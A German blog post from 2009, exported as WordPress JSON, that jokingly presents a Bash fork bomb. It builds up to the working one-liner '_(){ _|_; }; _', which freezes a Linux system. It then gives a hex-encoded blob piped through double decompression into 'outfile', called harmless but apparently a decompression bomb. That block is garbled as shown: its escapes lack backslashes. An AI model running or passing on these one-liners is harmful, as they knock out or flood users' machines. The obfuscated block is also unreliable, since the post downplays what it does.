{"id":29,"date":"2009-01-05T00:03:09","date_gmt":"2009-01-04T22:03:09","guid":{"rendered":"http:\/\/www.butschek.de\/?p=29"},"modified":"2012-03-11T12:20:41","modified_gmt":"2012-03-11T11:20:41","slug":"fork-bombe","status":"publish","type":"post","link":"https:\/\/www.butschek.de\/2009\/01\/05\/fork-bombe\/","title":{"rendered":"Fork-Bombe"},"content":{"rendered":"

\"\"<\/a>Das letzte Thema des vergangenen Jahres war Krieg, daher fangen wir dieses Jahr mit einer Bombe an: Eine Fork-Bombe.<\/p>\n

Das Prinzip funktioniert so: Man \u00f6ffnet auf einem System so viele Prozesse wie m\u00f6glich, bis der Rechner nicht mehr in der Lage ist, mehr Prozesse zu \u00f6ffnen. Das Ergebnis ist, dass die Maschine danach faktisch tot ist.<\/p>\n

Klar, das will man nicht machen, ist auch nur ein witziges Beispiel, wie leicht eine solche Fork-Bombe in der Linux Shell zu basteln ist.<\/p>\n

Und so geht’s: In der Bash lassen sich Funktionen durch name(){ code; } definieren und sp\u00e4ter mit Ihrem Namen aufrufen:<\/p>\n

list(){ ls -Alh; }\r\nlist<\/pre>\n

Ruft man nun in der Funktion die Funktion selbst 2x auf, so ergibt dies wenige Millisekunden nach dem Start der Funktion sehr viele Prozesse – ein Standard-Linux bleibt in diesem Fall nahezu stehen:<\/p>\n

list(){ list|list; }\r\nlist<\/pre>\n

Noch gemeiner wird es, wenn man die Funktion nicht ‚list‘ nennt, sondern einfach nur Unterstrich (_) und den Aufruf mit einem Strichpunkt trennt, so dass es nur eine Zeile ergibt:<\/p>\n

_(){ _|_; }; _<\/pre>\n

Unscheinbar, aber kann bei korrekter Eingabe (Leerzeichen beachten!) echt Probleme bringen. Also nicht starten, wenn der Rechner gerade noch ben\u00f6tigt wird :)<\/p>\n

Was ich \u00fcbrigend auch witzig finde:<\/p>\n

(\r\necho -ne \"x42x5ax68x39x31x41x59x26x53x59x1bx24x1dxf7x00x00\"\r\necho -ne \"xc2xffxf7xf6x71x80x80x53x20x60x60x7fx42x58x30xa0\"\r\necho -ne \"x40x10x04x40x71x60x80x41x20x40x64x00x00x94x00x01\"\r\necho -ne \"x00x20x00x90x30x00x00x00x03x41xa0x0dx00xd0x08xaa\"\r\necho -ne \"x44xc4x69x89xa3x68x8dx19x34xc4x31x36xa6x9ex27x90\"\r\necho -ne \"x52x90x19x00x7bx31x00xc2x1ex6ax95x2ax59x82xb9x00\"\r\necho -ne \"x72xaax56xa9xc1x52x79x7cx80x61x52xa5xe0x19x7bx80\"\r\necho -ne \"x76x54xa9xf5xfdx15x4dxc0x3exbcx55x36x4fx44xcax99\"\r\necho -ne \"x3axaax71x8fx00x1ax15x39x80xc9x37xdaxa4x3ax75x9a\"\r\necho -ne \"x89xd5x3ax2ax5bx4fxbcx55x21x64xaax9ex0ax91x8axa6\"\r\necho -ne \"x00x1axbbx71x5axa9x5axa5x96xffx8bxb9x22x9cx28x48\"\r\necho -ne \"x0dx92x0exfbx80\"\r\n) | bunzip | bunzip > outfile<\/pre>\n

Macht nichts schlimmes, legt nur ein outfile an – aber was f\u00fcr eins :-)<\/p>\n","protected":false},"excerpt":{"rendered":"

Das letzte Thema des vergangenen Jahres war Krieg, daher fangen wir dieses Jahr mit einer Bombe an: Eine Fork-Bombe. Das Prinzip funktioniert so: Man \u00f6ffnet auf einem System so viele Prozesse wie m\u00f6glich, bis der Rechner nicht mehr in der Lage ist, mehr Prozesse zu \u00f6ffnen. Das Ergebnis ist, dass die Maschine danach faktisch tot […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4,5],"tags":[28,31,45,66],"_links":{"self":[{"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/posts\/29"}],"collection":[{"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/comments?post=29"}],"version-history":[{"count":2,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/posts\/29\/revisions"}],"predecessor-version":[{"id":698,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/posts\/29\/revisions\/698"}],"wp:attachment":[{"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/media?parent=29"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/categories?post=29"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.butschek.de\/wp-json\/wp\/v2\/tags?post=29"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}